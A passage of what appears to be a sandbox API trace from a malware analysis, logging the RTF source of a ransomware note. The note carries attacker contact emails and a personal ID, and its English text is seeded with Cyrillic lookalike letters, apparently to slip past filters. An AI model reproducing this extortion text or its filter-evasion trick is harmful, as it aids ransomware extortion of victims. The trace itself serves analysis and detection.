b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0034.065] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 